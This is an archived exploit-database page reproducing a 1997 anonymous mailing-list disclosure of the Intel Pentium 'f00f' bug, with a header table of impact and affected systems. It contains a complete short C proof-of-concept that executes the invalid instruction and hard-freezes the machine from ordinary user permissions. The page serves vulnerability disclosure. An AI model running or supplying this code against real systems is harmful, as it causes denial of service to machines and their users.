Intel "f00f" Pentium bug
Description: | A bug in the Intel Pentium (and Pentium + MMX) chips allows usermode processes to crash the system by executing the invalid instruction 0xf00fc7c8 |
Author: | Sent through an anonymous remailer |
Compromise: | Users who can run code on the system can totally freeze the system |
Vulnerable Systems: | Those running on a Pentium including versions of Linux, Dos, WinNT, Win95, SolarisX86, etc. |
Date: | 8 November 1997 |
Date: Sat, 8 Nov 1997 07:36:04 +0100 (MET)
From: Anonymous <nobody@REPLAY.COM>
To: best-of-security@cyber.com.au
Subject: BoS: WARNING: Serious Pentium Bug
There is a SERIOUS bug in all pentium CPUs. The following
code will crash any machine running on a pentium CPU, MMX or no
MMX, any speed, regardless of OS (crash as in instant seize, hard
reboot the only cure):
char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 };
main ()
{
void (*f)() = x;
f();
}
This require no special permissions to run, it works fine with
average-joe-userspace permissions. I have verified this, it works.
Demand a new CPU from Intel.
The master index of all exploits is available
here (Very large file)
Or you can pick your favorite operating system:
This page is part of Fyodor's exploit
world.
For a free program to automate scanning your network for vulnerable
hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resources: